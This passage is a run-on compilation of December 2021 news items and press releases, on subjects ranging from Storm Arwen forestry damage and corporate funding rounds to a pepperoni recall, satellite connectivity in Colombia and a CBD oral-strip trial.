evident in the distressing images of flattened forests and woodlands which will take decades, if not centuries to recover from. "Their loss reminds us of the significant role trees play in our lives, communities, economy and wellbeing." Scottish Forestry is working with Confor to assess the impact that Storm Arwen has had Following Storm Arwen, a monumental clear up operation is being undertaken by farmers, land managers and small woodland owners. Whilst this is being carried out, the message to the public is not to enter into affected forests until they are made safe. Forestry might be a long term business, but getting to grips with managing the windblown timber has already begun," Ms McAllan added. "As more accurate information becomes available, Scotlands forest industry will be taking decisions on handling the extra volumes of timber that needs to be harvested. Through Scottish Forestry, advice and assistance is being made available to woodland owners and the forestry sector to help manage the aftermath of Storm Arwen. The spatial data, and more detailed analysis to come, will help the sector with practical issues such as planning which roads can be used to take the greatest amount of timber out of the most affected forests. More work is being carried out to put accurate estimates on the amount of hectares and volume of timber affected. Helicopter surveys and ground-based surveying will also add accuracy to the data being gathered to help the sector work together in a strategic and collaborative way. Andy Leitch, deputy chief executive of Confor, the trade body for forestry firms, said: The clean-up after the storm - and the work needed to remove the windblown timber, make safe the remaining trees and get the timber to wood processors - will take time and effort. "However, Confor is fully committed to working in partnership with the public forestry bodies to make that happen in a speedy and efficient manner." 2020 was a year marked by hardships and challenges, but the Fauquier community has proven resilient. The Fauquier Times is honored to serve as your community companion. To say thank you for your continued support, wed like to offer all our subscribers -- new or returning -- 4 WEEKS FREE DIGITAL AND PRINT ACCESS. We understand the importance of working to keep our community strong and connected. As we move forward together into 2021, it will take commitment, communication, creativity, and a strong connection with those who are most affected by the stories we cover. We are dedicated to providing the reliable, local journalism you have come to expect. We are committed to serving you with renewed energy and growing resources. Let the Fauquier Times be your community companion throughout 2021, and for many years to come. Category Select Category Apparel/Garments Textiles Fashion Technical Textiles Information Technology E-commerce Retail Corporate Association Press Release SubCategory Select Sub-Category Sohum Shah made headlines with his much-talked-about series Maharani that revolved around politics in Bihar. The sensitive subject is one many shy away from but not Sohum, whos consistently chosen to pick riveting content. The actor who rose to fame with Tumbadd, is now all set to start shooting for Maharani 2. In Maharani, the actor stood out in the ensemble cast in his role as Bheema Bharti for which he went the extra mile and not only worked on the nuances of his character but also underwent a physical transformation, gained extra pounds and grew a moustache to look the part. Sohum Shah now revives the powerful yet complex character in the second season of Maharani, as he starts shooting for the show in Bhopal this month. He will also be going to three other locations, the details of which will be revealed soon. Says a source, Sohum has been and will be hopping cities with tight shoot schedules and work commitments. He will start the shoot for Maharani 2 in Bhopal, from 17th December. After Bhopal, Sohum will also be travelling to 3 other locations for the show, details of which are kept under wraps for now. Apart from the successful series, Sohum Shah also has Reema Kagtis Fallen in the pipeline. EQS-Ad-hoc: Beaconsmind AG / Key word(s): Capital Increase beaconsmind AG (ISIN: CH0451123589, EURONEXT: MLBMD, VIENNA: BMD) raises new equity and undertakes changes in its listing venues 14-Dec-2021 / 19:00 CET/CEST Disclosure of an inside information acc. to Article 17 MAR of the Regulation (EU) No 596/2014, transmitted by EQS - a service of EQS Group AG. The issuer is solely responsible for the content of this announcement. Publication of inside information / beaconsmind AG (ISIN: CH0451123589, EURONEXT: MLBMD, VIENNA: BMD) raises new equity and undertakes changes in its listing venues Zurich, Switzerland - December 14, 2021, 6:30 pm CET - beaconsmind AG (the "Company") announces an equity raise of EUR 5.51 million from an international institutional investor to support the implementation of the company's global growth strategy in the post COVID area (the "Investor"). The transaction shall take place via a capital increase from authorized capital under exclusion of the subscription rights of the current shareholders. The respective equity raise is subject to the ordinary general shareholder meeting of the Company on December 16, 2021 resolving on a respective authorized capital for the Company. The Board of Directors of the Company is expected to resolve on the capital increase from authorized capital on December 16, 2021. Following the transaction, the Investor is expected to serve as a long-term anchor investor of the Company with a participation of 21.6%. Max Weiland, CEO & Founder of the Company, will remain one of the largest shareholders in the Company with a participation of 18.6%. The equity raise shall serve the purpose of improving the capital base of the Company. The company intends to use proceeds for strengthening its growth strategy with the opening of new sales offices internationally and by focusing on international joint ventures and business collaborations. For such purpose, the Company intends to increase further its number of employees in sales, product, development and client success management. As part of the growth financing, the company intends to list its shares on the Frankfurt Stock Exchange in the Scale segment and to revoke the current listing on the Vienna MTF of Vienna Stock Exchange (direct market plus) within the next months. This step will lead to a simplified listing structure and broaden the scope of potential investors in the company's securities in a new home market. With the reorganised listing in the Scale segment of the Frankfurt Stock Exchange, two leading German banks, Hauck & Aufhauser and Baader Bank, are expected to provide ongoing research coverage. About beaconsmind Founded in 2015 in Switzerland, beaconsmind is a pioneer in the field of location-based marketing (LBM) software for retail chains. beaconsmind helps retailers run successful location-based marketing campaigns. By fitting stores with bluetooth beacons that precisely locate and identify customers, and by integrating its Software Suite, beaconsmind opens a brand-new channel for retailers to interact with their customers, fundamentally transforming the shopping experience. Thanks to its solution, retailers can converge digital and physical shopping and address the convenience gaps of each. For more information, please visit www.beaconsmind.com Contacts: Beaconsmind Max Weiland, Founder & CEO maxweiland@beaconsmind.com Tel.: +41 44 380 73-73 Media Relations Nicolas Merigeau NewCap nmerigeau@newcap.fr Investor Relations/Strategic Communication Louis-Victor Delouvrier NewCap lvdelouvrier@newcap.fr 14-Dec-2021 CET/CEST News transmitted by EQS Group AG. www.eqs.com Will support heating cooling compressor business expansion mainly in Europe and U.S. Mitsubishi Electric Corporation (TOKYO: 6503) announced today that it will invest 0.6 billion Thai baht (approx. 18 million USD) to increase production capacity at the company's air-conditioner compressor production base, Siam Compressor Industry Co., Ltd (SCI), in Thailand. Annual production of scroll compressors will expand eventually to 870,000 units, up from 745,000 units. The factory will increase production beginning in October 2022. As part of the expansion, the upgraded factory will adopt various new environmental measures, such as integrated production processes to shorten production cycles and energy-saving production methods to reduce CO2 emissions. In the European heating-system market, boiler-type heaters that rely on fossil fuel are rapidly being replaced with air-to-water heat pumps and water heaters in line with Europe's decarbonization policies. In addition, the need for air conditioners has risen due to stay-at-home protocols implemented in response to the coronavirus. Going forward, demand for large room air conditioners, especially in the U.S., is expected to continue rising. Mitsubishi Electric will now respond to these demands by expanding its production of air-conditioner compressors in Thailand for supply mainly to the European and U.S. markets. For the full text, please visit: www.MitsubishiElectric.com/news/ View source version on businesswire.com: https://www.businesswire.com/news/home/20211214005541/en/ Contacts: Customer Inquiries Overseas Air-Conditioning Refrigeration Systems Div. Global Compressor Marketing Department Mitsubishi Electric Corporation Tel: +81-3-3218-6132 www.MitsubishiElectric.com/ Media Inquiries Takeyoshi Komatsu Public Relations Division Mitsubishi Electric Corporation Tel: +81-3-3218-2346 prd.gnews@nk.MitsubishiElectric.co.jp www.MitsubishiElectric.com/news/ BERLIN (dpa-AFX) - German drug giant Merck KgaA (MKGAY.PK) said that it has signed an agreement with biotechnology company Innovative Biotech to design the manufacturing process for the first vaccine production facility in Nigeria. The collaboration is part of the West African pandemic readiness program, which aims to localize vaccine development in the African nations. The first phase of the partnership focuses on designing the fill and finish facility, incorporating the company's Mobius single-use technology, while the second phase will focus on enabling continuous manufacturing. Innovative Biotech's licensor, TechnoVax, is developing a virus-like-particle (VLP)-based vaccine to target variants of Covid-19. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. SHENZHEN, China, Dec. 15, 2021 /PRNewswire/ -- Proscenic, a global home appliance brand- will simultaneously hold two big events from 1st to 25th December through Gleam and its Facebook group for the coming Christmas Day. As it's known to all, Christmas is celebrated with all different gifts, Proscenic has also provided its generous discounts so that everyone has no need to worry about their affordability. "Christmas means spending time with family and enjoying the holiday season," said Miles Jiang, vice president of Proscenic. "For some families, it's hard to enjoy the holiday because of heavy housework. At Proscenic, we believe that no family should have to stress about their family housework. Proscenic robot vacuum cleaners, cordless vacuum cleaners, and air fryers could help them to lower the burden of housework. That's why we want to make our contribution by alleviating that concern for one family. " Win Xmas gifts for the loved ones The Christmas prizes of the first Giveaway event are two M8 Pro robot vacuum cleaners, two P11 cordless vacuum cleaners, and two A8 SE air purifiers. The announcement suggests that 6 lucky winners would be selected to get the fantastic gifts respectively. The method to join this contest is to get more entries on its gleam landing page>> https://bit.ly/30YIgOx Win a T22 Air Fryer in a simple step The second event is a photo contest in which 5 lucky winners will be selected. They announced that the prizes are five Proscenic T22 Air Fryers, and the method to participate in this event is to share and post your proudest cooking tips along with pictures or videos uploaded on Proscenic Air Fryer Group>> https://bit.ly/3n7dPOX Star products - Save up to 40% Additionally, Proscenic also announced exceptional deals with up to 40% off for a variety of home appliance products (robot vacuum cleaner, cordless vacuum cleaner, air fryer, and air purifier included) on its official website. For further details about Christmas Campaign, visit: https://bit.ly/3lxxHcN About Proscenic Founded in 2013, Proscenic is one of the emerging global icons thriving yet innovating relentlessly in the field of Smart Home Appliances.Over the years, Proscenic home appliances have significantly contributed to lowering the bulk of workload that comes with living. More information: https://www.proscenic.com/ Facebook: https://www.facebook.com/proscenicofficial Contacts: Shirley Wang +86-13632817283 Photo - https://mma.prnewswire.com/media/1708196/image.jpg WASHINGTON (dpa-AFX) - Smithfield Packaged Meats Corp., doing business as Margherita Meats, Inc., is recalling around 10,990 pounds of ready-to-eat or RTE pepperoni products citing possible Bacillus Cereus contamination, the U.S. Department of Agriculture's Food Safety and Inspection Service or FSIS announced. In similar recalls, Alexander & Hornung, a business unit of Perdue Premium Meat Co., Inc., last week expanded its recall of fully cooked ham and pepperoni products to 2.32 million pounds from 234,391 pounds due to possible contamination with Listeria monocytogenes. Smithfield Packaged Meats' recall involves 8-oz. plastic shrink-wrapped packages containing unsliced pepperoni 'Margherita PEPPERONI' with lot code P1931C and a 'use by date' of 12-14-21. The RTE unsliced pepperoni product was produced and packaged on June 17, 2021. These products bear establishment number 'EST. 19' inside the USDA mark of inspection. The items were shipped to retail locations across the United States. The recall was initiated after the Department of Defense notified FSIS that they found Bacillus cereus or B. cereus during routine product testing. B. cereus is a toxin-producing microorganism that causes diarrhea and vomiting in people. Those with compromised immune systems are at risk for more severe illness. The usual treatment include vigorous rehydration and other supportive care including antibiotics. However, the Omaha, Nebraska-based company has not received any confirmed reports of adverse reactions due to consumption of these products. Consumers who have purchased these products are urged to throw them away or return to the place of purchase. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Fibre-like O3b satellite connectivity to help accelerate digital transformation in Colombia with affordable, high-speed and reliable connectivity services SES's satellite-based trunking services will enable leading Colombian fibre optic networks service provider Integra Multisolutions (IMS) to extend and enhance fibre-like connectivity for Colombian municipalities with fewer than 100,000 inhabitants located out of the reach of terrestrial infrastructure, SES announced today. The new service will begin on SES's O3b medium earth orbit (MEO) constellation and later migrate onto O3b mPOWER, SES's next-generation MEO system, in 2022 when service will expand to additional cities. The first site to be connected will be Puerto Leguizamo, a municipality located in the Putumayo Department in the southern border region of the country. SES and IMS will go on to deliver service to other sparsely populated cities across Colombia that experience poor or inconsistent connectivity services. SES's Trunk mPOWERED service will equip IMS to enable local Internet service providers to serve a combination of enterprise, residential, MNO and civilian government projects. IMS is among the first companies in Latin America to sign up for the O3b mPOWER system, which can deliver low-latency, high-speed, uncontended services from tens of megabits to multiple gigabits per second to a single site. According to the Colombian Ministry of Telecommunications, fixed broadband subscriptions in the country reached 8.22 million in 2021, which translates to 16.10 subscriptions per 100 people. However, the National Administrative and Statistics Department (Dane) revealed earlier this year the results of the Survey of Information and Communication Technologies in Households (ENTIC Hogares) showing only 56.5% of the households surveyed have an internet connection. The survey identified an important difference between households in the main cities, where 66.6% have internet access, and those in rural and dispersed areas, where only 23.9% of the households do. The Putumayo Department is among the regions with challenges to access reliable connectivity services. "By working together with SES, we are able to quickly and cost-effectively expand our network in underserved and tough-to-reach areas helping to address the digital divide for these communities," said Juan Carlos Hernandez Mendoza, CEO of IMS Group. "Our goal is to provide our end users the best quality of service across Colombia, which means access to high-performing services at all times, no matter where they are. The capabilities of the proven O3b MEO fleet, and the scalability and flexibility of the upcoming O3b mPOWER services combined with SES satellite network and IMS fibre optics networks expertise, allow us to achieve exactly that." "Our multi-orbit satellite solutions have been bringing reliable connectivity services across Colombia for almost 10 years," said Omar Trujillo, Americas Vice President of Fixed Data Sales at SES. "We are delighted to partner with IMS to extend terrestrial networks with the revolutionary capabilities of the O3b mPOWER constellation and deliver fibre-like Internet access to Colombians wherever they live." Follow us on: Twitter Facebook YouTube LinkedIn Instagram Read our Blogs Visit the Media Gallery > About SES SES has a bold vision to deliver amazing experiences everywhere on earth by distributing the highest quality video content and providing seamless connectivity around the world. As the leader in global content connectivity solutions, SES operates the world's only multi-orbit constellation of satellites with the unique combination of global coverage and high performance, including the commercially-proven, low-latency Medium Earth Orbit O3b system. By leveraging a vast and intelligent, cloud-enabled network, SES is able to deliver high-quality connectivity solutions anywhere on land, at sea or in the air, and is a trusted partner to the world's leading telecommunications companies, mobile network operators, governments, connectivity and cloud service providers, broadcasters, video platform operators and content owners. SES's video network carries over 8,500 channels and has an unparalleled reach of 361 million households, delivering managed media services for both linear and non-linear content. The company is listed on Paris and Luxembourg stock exchanges (Ticker: SESG). Further information is available at: www.ses.com. About IMS IMS was created in 2016, since then IMS is becoming the main PARTNER for all the small and medium Internet Service Providers in Colombia through terrestrial telecom technologies specialized in fiber optic networks, Networking Engineering, ISP Tech Solutions, supply chain, and many more. Currently IMS has more than 100,000 kilometres of available fiber throughout Colombia and sells more than 300 Gbps of fiber optic capacity to more than 250 corporate customers, becoming a very important provider for internet carriers in the region. For more information about IMS go to www.ims.net.co. View source version on businesswire.com: https://www.businesswire.com/news/home/20211214006318/en/ Contacts: Suzanne Ong External Communications +352 710 725 500 suzanne.ong@ses.com Edenred, the leader in specific-purpose payment solutions (like Ticket Restaurant, Ticket Mobilite, Kadeos and Teletravail Edenred) in France and worldwide, has joined forces with sunday, the world's fastest way to pay in restaurants thanks to a QR code on the table. The alliance will enable Edenred Ticket Restaurant card users to pay their lunch bill in under ten seconds after eating, without even having to call the waiter. By joining forces, Edenred and sunday are taking the digitalization of lunch breaks to the next level and providing Edenred Ticket Restaurant card users in France with an innovative payment solution that is perfectly in line with new consumer restaurant habits. Edenred is once again strengthening its position as the digital leader in the meal benefits market. The first issuer to offer mobile payments in 2016 with Apple Pay, and the first to allow users to take advantage of payment APIs to order on over 70 partner meal delivery platforms starting in 2018, Edenred today has more than 1.5 million active Ticket Restaurant cards in France, available on MyEdenred super app'. Edenred is the industry's digital pioneer in France. More than 7 million French employees now have access to Edenred's digital solutions in France and can use the MyEdenred super app' to enjoy a unique experience with Edenred's Ticket Restaurant, Ticket Mobilite, Kadeos and Teletravail solutions. A quick and easy contactless pay-at-table solution Edenred Ticket Restaurant embraces new QR codes The health crisis has accelerated the shift to digital solutions at lunch and popularized the use of QR codes on restaurant tables to see the menu. With sunday, this technology can now be used to pay for meals in just seconds directly on a smartphone. In particular, sunday will allow Edenred Ticket Restaurant card users to get their check without waiting for a waiter to bring it to the table, split the bill, leave a tip and pay the total, all using digital means. Patrick Langlois, General Manager at Edenred France, said: "I'm very pleased with this new partnership, which consolidates our digital leadership in the meal benefits market. Edenred is the first company in France to offer a comprehensive range of payment solutions suited to employees' new consumption habits, whether they're having lunch at the office, at home or in a restaurant. From cards and mobile payments to meal delivery and now QR code-based pay-at-table solutions with sunday, we are constantly innovating to offer an optimal user experience to our clients. All these services are now integrated to the MyEdenred super app', which gathers all our employee benefits solutions on a single platform to support our users throughout their day." Nicolas Martin-Bouyer, General Manager, France at sunday, said: "This partnership with Edenred is a new milestone in sunday's growth and in the development of pay-at-table solutions. We want to make sunday available to as many people as possible, and Edenred is the world leader in the lunch break market, with over 1.5 million active Ticket Restaurant cards in France. Our partnership will address growing demand among consumers and restaurant owners for QR code payments, right at the table." Saving valuable time for restaurant owners For restaurant owners, this solution makes it possible both to adapt to new consumer behaviors and requirements resulting from the health crisis, such as contactless payment, and to save time - on average 15 minutes per table - before taking orders and when settling the bill. Tips are also more generous from app users (40% higher on average), who spend 12% more than other customers on average too. Pay for lunch with Edenred Ticket Restaurant and sunday in just seconds Simply scan the QR code on the table when you arrive at the restaurant to see the menu, and then again at the end of the meal to access the payment interface for the billl You can check that everything is in order, split the bill and pay directly on the sunday platform using your Edenred Ticket Restaurant account, linked to the MyEdenred super app'. You receive a receipt to confirm payment. Attachment 2 MW Plant to Utilize Gazelle's Breakthrough Hybrid Floating Wind Platform Gazelle Wind Power (Gazelle) has signed a memorandum of understanding (MOU) with Maersk Supply Service (Maersk), a leading provider of global offshore marine services and integrated solutions for the energy sector worldwide, to support the development of a 2 MW pilot plant using the company's breakthrough floating wind platform at the Oceanic Platform of the Canary Islands (PLOCAN). Maersk Supply Service will provide the project's engineering, procurement, construction and installation (EPCI), which is expected to be completed in Q2 2023. Through Maersk's expertise in providing EPCI services, as well as their global offshore project execution in the marine sector, this partnership is the next step in bringing Gazelle's patented, breakthrough hybrid floating wind platform and first-of-its-kind dynamic mooring system to the commercial market. Having demonstrated the capabilities of its technology with a statement of feasibility by leading worldwide classification organization DNV, Gazelle's platform successfully combines the top attributes of the most popular floating offshore wind platform designs seen today without their drawbacks. The Gazelle platform enables wind farms to be placed in deep waters and is much lighter than conventional platforms. It is also more compact and simpler to build, deploy, and maintain than other floating platforms, which translates to a dramatically lower levelized cost of energy (LCOE). "Maersk has an impressive track record and we could not have asked for a better organization to work with on this project," said Connie Hedegaard, Non Executive Director, Gazelle Wind Power. "This agreement with Maersk will help Gazelle accelerate the momentum of the development of its hybrid floating platform and open up the massive offshore wind market." "Green transition and decarbonisation initiatives are at the heart of our strategy," said Yvan Leyni, Floating Wind Solutions Director at Maersk Supply Service, "We are committed to being at the forefront of the rapidly evolving floating wind industry and are delighted to support the Gazelle pilot project." As more industries and world governments commit to decarbonisation and net-zero emissions goals, enabling wind farms to be placed in deeper waters as far as 400 meters will be critical to generate the required energy for a growing worldwide population without fossil fuels. According to DNV, the floating offshore wind market is projected to reach as much as 250 GW of output by 2050. Gazelle is supported by an elite group of energy industry veterans on its board of directors, including leading global policymakers, government officials, engineers, and CEOs. About Gazelle Wind Power Gazelle Wind Power Limited is unlocking the massive deep-water offshore wind market to achieve global decarbonisation. The company's durable, disruptive hybrid floating platform with a high stability attenuated pitch surmounts the current barriers of buoyancy and geographic limitations while reducing costs and preserving fragile marine environments. The company is based in Dublin and has a presence in Dubai, London, Madrid, Paris, and Texas. For more information, visit www.gazellewindpower.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005114/en/ Contacts: For Gazelle Wind Power: Wendy Prabhu Mercom Communications T: +1 512 215 4452 gazelle@mercomcapital.com - The financing will support development of a commercial instrument system based on the company's proprietary and disruptive MAGNA technology. - MAGNA is set to unlock the field of dynamic genomics. - Funds raised from a global investor syndicate led by Lansdowne Partners and Bpifrance and supported by funds bringing additional experience in the life science sector. PARIS and CAMBRIDGE, England, Dec. 15, 2021 /PRNewswire/ -- Depixus, a biotechnology company developing a unique technology for the fast, accurate, and straightforward extraction of multiomic information from DNA, RNA, and proteins, today announces it has raised EUR 30.6 million in an oversubscribed Series A financing. The funds will be used to further develop its proprietary MAGNA instrument system, workflows, and reagents towards commercial launch. The round was co-led by Lansdowne Partners and the PSIM Fund operated by Bpifrance on behalf of the French State, with participation by Casdin Capital, and existing investors, including Arix Bioscience. This financing brings the company's total equity and grant funding to-date to over EUR 41 million (USD 47 million). With MAGNA, large numbers of individual molecules of DNA and RNA are captured in their native form, immobilised within a flow cell, and are then available for repeated interrogations that can reveal a broad range of features including base modifications, molecular structure, and interactions with other nucleic acids, proteins, or drugs. These capabilities unlock previously unattainable insights into the "dynamic genome" - the layers of information beyond the four-base coding sequences of DNA and RNA, that are key to gene expression, regulation, and control. Detection of abnormal changes in base modification patterning have been shown to underpin many disease processes. The MAGNA technology will greatly accelerate access to this complex layer of the dynamic genome, opening up significant opportunities in the earlier detection and improved management of major diseases such as cancer. Moreover, the way in which nucleic acids, especially RNA, are folded and structured is also critical to biological regulation. With MAGNA these structures can often be revealed and analysed in detail. MAGNA therefore has strong potential as an aid in the discovery of drugs that either disrupt or stabilise RNA structures - affording opportunities to modulate hitherto 'undruggable' pathological cellular processes. Gordon Hamilton, CEO and Co-founder of Depixus, commented: "We are extremely excited by the power of our MAGNA technology to overcome the current challenges of base modification sequencing and RNA structural analysis. Our technology looks set to open new horizons in applications such as biomarker discovery for liquid biopsy cancer detection, virology, and the development of drugs targeting RNA. We are very pleased to attract such a strong group of investors, which further validates the potential of the MAGNA platform to transform our understanding of cellular processes. Thanks to the support from our new and existing investors, we will continue to recruit additional top talent in France and the UK to further develop the platform through to commercial launch and beyond." John Berriman, Chairman of Depixus, said: "Depixus has grown by leaps and bounds since its inception. We are now confident that MAGNA instruments will provide unique and economical insights into the development and treatment of disease. This is a very exciting time for the Company as it progresses from pre-commercial research towards the launch of products." Lachlan MacKinnon, Board member and representative of Lansdowne commented: "I am truly excited to join the Board of Depixus at this critical moment in the company's history. The Depixus technology will enable scientists and biotechnology companies to move from a world of measuring DNA and RNA as linear, one-dimensional sequences, to one of dynamic, three-dimensional objects with many base modifications, at scale. Having seen the impact of methylation detection on liquid biopsy, I look forward to the company making sizeable contributions across the wider dynamic genomics landscape". Thibaut Roulon, Senior Investment Director at Bpifrance said: "We are delighted to partner with Lansdowne to support Depixus in the development of its MAGNA instrumentation system. The company is a laureate of the final phase of France's Worldwide Innovation Challenge. Depixus has proven the excellence of its breakthrough technology for the fast, accurate and straightforward extraction of information from DNA and RNA molecules beyond their simple sequence. This opens the door for many applications such as earlier and more accurate cancer diagnosis." Following this capital raise, Lachlan MacKinnon and Thibaut Roulon, will join Mark Chin of Arix Bioscience, Ronald Lindsay, Steve Allen, Gordon Hamilton, and John Berriman, on the Board of Directors. The company is based in Paris, France and Cambridge, UK, and is actively recruiting top talent to join its team. Depixus recently announced the publication of a scientific paper showcasing the MAGNATM capabilities in the peer-reviewed journal Communications Biology, part of Nature Research journals. The paper, entitled 'Detection of genetic variation and base modi?cations at base-pair resolution on both DNA and RNA', can be freely downloaded here. About Depixus and MAGNA Depixus is a fast-growing innovative biotechnology company based in Paris, France, and Cambridge, UK, developing its cutting-edge MAGNA technology to reveal the secrets of the dynamic genome. The technology is set to transform our understanding of how genetics is regulated and provide powerful new insights into the mechanisms of disease. Depixus is a spin-out from spin-out from Ecole Normale Superieure (ENS), one of the most prestigious 'grandes ecoles' in France. The company has been financed not only through equity investment but also via numerous grants, including from the EU's Horizon 2020 SME Instrument and Innovate UK programmes. The MAGNA technology is based on an instrument system called a 'magnetic trap'. Samples of nucleic acid are captured within a flow cell and then can be analysed at multiple levels of resolution. To learn more about the way the MAGNA technology works and some of the many different assays that can be performed with the platform, please visit www.depixus.com. About Lansdowne Partners Lansdowne Partners is an investment management partnership founded in 1998. The firm manages assets for a diversified client base that includes some of the world's largest and most sophisticated investors. About Bpifrance and the PSIM Fund Bpifrance is the French national investment bank: it finances businesses - at every stage of their development - through loans, guarantees, equity investments and export insurances. Bpifrance also provides extra financial services (training, consultancy) to help entrepreneurs meet their challenges (innovation, export). Created in June 2017 as part of the Future Investment Program (PIA) and managed on behalf of the State by Bpifrance, the PSIM fund "Major Innovation Support Program" aims in particular to support the winners of the Global Innovation Competition via an equity investment. It enables French start-ups to move towards the industrialization of their breakthrough innovations and their international development. For more information, please visit: https://www.bpifrance.com/ Follow us on Twitter: @Bpifrance - @BpifrancePresse VANCOUVER, BC / ACCESSWIRE / December 15, 2021 / Commerce Resources Corp. (TSXV:CCE)(OTCQX:CMRZF)(FSE:D7H0) (the "Company" or "Commerce") is pleased to announce a non-brokered private placement consisting of the issuance of up to 10,700,000 common shares (each, a "Share") issued on a "flow-through" basis pursuant to the Income Tax Act (Canada) and the Taxation Act (Quebec) at a price of $0.28 per Share for gross proceeds of up to $3,000,000 (the "Offering"). Insiders may participate in the Offering. The aggregate gross proceeds from the sale of the Offering will be used to advance the developments of the Company's Ashram REE Deposit in Quebec. Finders' fees may be payable in connection with the Offering in accordance with the policies of the TSX Venture Exchange (the "Exchange"). All securities issued in connection with the Offering will be subject to a statutory hold period expiring four months and one day after closing of the Offering. Completion of the Offering is subject to the approval of the Exchange. Any participation by insiders in the Offering will constitute a related party transaction under Multilateral Instrument 61-101 - Protection of Minority Security Holders in Special Transactions ("MI 61-101") but is expected to be exempt from the formal valuation and minority shareholder approval requirements of MI 61-101. About Commerce Resources Corp. Commerce Resources Corp. is a junior mineral resource company focused on the development of the Ashram Rare Earth and Fluorspar Deposit located in Quebec, Canada. The Company is positioning to be one of the lowest cost rare earth producers globally, with a specific focus on being a long-term supplier of mixed rare earth carbonate and/or NdPr oxide to the global market. The Ashram Deposit is characterized by simple rare earth (monazite, bastnaesite, xenotime) and gangue (carbonates) mineralogy, a large tonnage resource at favourable grade, and has demonstrated the production of high-grade (>45% REO) mineral concentrates at high recovery (>70%) in line with active global producers. In addition to being one of the largest rare earth deposits globally, Ashram is also one of the largest fluorspar deposits globally and has the potential to be a long-term supplier to the met-spar and acid-spar markets. For more information, please visit the corporate website at www.commerceresources.com or email info@commerceresources.com . On Behalf of the Board of Directors COMMERCE RESOURCES CORP. " Chris Grove " Chris Grove President and Director Tel: 604.484.2700 Email: cgrove@commerceresources.com Web: https://www.commerceresources.com Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Cautionary Statement Regarding Forward-Looking Statements This news release includes certain "forward-looking statements" under applicable Canadian securities legislation that are not historical facts. Forward-looking statements involve risks, uncertainties, and other factors that could cause actual results, performance, prospects, and opportunities to differ materially from those expressed or implied by such forward-looking statements. Forward-looking statements in this news release include, but are not limited to, statements with respect to the expectations of management regarding the proposed Offering, the expectations of management regarding the use of proceeds of the Offering, closing conditions for the Offering, the expiry of hold periods for securities distributed pursuant to the Offering, and Exchange approval of the proposed Offering. Although the Company believes that the expectations reflected in the forward-looking information are reasonable, there can be no assurance that such expectations will prove to be correct. Such forward-looking statements are subject to risks and uncertainties that may cause actual results, performance or developments to differ materially from those contained in the statements including that: the Company may not complete the Offering on terms favorable to the Company or at all; the Exchange may not approve the Offering; the proceeds of the Offering may not be used as stated in this news release; the funds raised from the sale of the Units may not be renounced in favour of the Unit holders; the Company may be unable to satisfy all of the conditions to the Closing; and those additional risks set out in the Company's public documents filed on SEDAR at www.sedar.com. Although the Company believes that the assumptions and factors used in preparing the forward-looking statements are reasonable, undue reliance should not be placed on these statements, which only apply as of the date of this news release, and no assurance can be given that such events will occur in the disclosed time frames or at all. Except where required by law, the Company disclaims any intention or obligation to update or revise any forward-looking statement, whether as a result of new information, future events, or otherwise. SOURCE: Commerce Resources Corp. View source version on accesswire.com:https://www.accesswire.com/677676/Commerce-Resources-Corp-Announces-Flow-through-Non-brokered-Private-Placement VANCOUVER, BC and UTTENWEILER, GERMANY / ACCESSWIRE / December 15, 2021 / XPhyto Therapeutics Corp. (CSE:XPHY)(OTCQB:XPHYF)(FSE:4XT) ("XPhyto" or the "Company") is pleased to provide an update on the development of its fast-dissolving CBD oral strips. With significant complexities involved in the planning and preparation for the pending human pilot study, the Company is pleased to announce that its European human CBD bioavailability study will commence in January 2022. Prof. Dr. Beckert said, "the clinical trial of our CBD product is aiming to demonstrate the efficient and precise dosing of the treatment. If successful, this could make a significant difference to Epilepsy patients and we are excited to commence the trial next year." XPhyto is developing a hybrid-generic CBD prescription drug formulation that employs the Company's proprietary oral dissolvable ("ODF") platform to deliver precise and efficient CBD dosages for the treatment of certain forms of childhood Epilepsy. The US Food & Drug Administration (FDA) and European Medicines Agency (EMA) have approved CBD based medical products from other companies for the treatment of severe childhood forms of Epilepsy, including Dravet syndrome and Lennox-Gastaut syndrome. The currently approved and registered formulation of CBD is a lipophilic solution in sesame oil with a standard dosage of 750 mg/day. Due to low bioavailability (approximately 5%) the formulation could be considered highly inefficient compared to the XPhyto ODF platform. For the purpose of carrying out XPhyto's clinical study, the following important and necessary items have been completed or received: Product Development Report, Investigational Medicinal Product Dossier, Permit for Clinical Study, manufacture of clinical product samples; Product Specification File; monitoring agreement; and Import Authorization to the location of the FDA-inspected Clinical Research Center. Pending success in the CBD pilot study, the Company expects to carry out a pivotal clinical study in 2H of 2022. The Company's CBD-based Epilepsy treatment program is one of several dissolvable oral drug delivery programs. Oral thin film drug delivery is a large and growing international industry which provides an alternative to conventional solid and liquid oral dosage forms. Transparency Market Research estimates that the global market for thin film drug manufacturing will be worth US$15.98 billion by 2024, rising at a 9.0% CAGR between 2019 and 2024. XPhyto's additional oral thin film drug delivery programs include both cannabinoid and non-cannabinoid products for pain, neurology, and infectious disease. The Cannabidiol Market revenue is estimated to be worth over US$89 billion by 2026 according to Global Market Insights Inc. Executive management of XPhyto's drug formulation business is led by Prof. Dr. Beckert, managing director of Vektor Pharma TF GmbH. Prof Dr. Beckert is a German-based scientist and experienced corporate executive who is leading XPhyto's drug formulation and diagnostics operations. About XPhyto Therapeutics Corp. XPhyto Therapeutics Corp. is a bioscience accelerator focused on next-generation drug delivery, diagnostic, and new active pharmaceutical ingredient investment opportunities, including: precision transdermal and oral dissolvable drug formulations; rapid, low-cost infectious disease and oral health screening tests; and 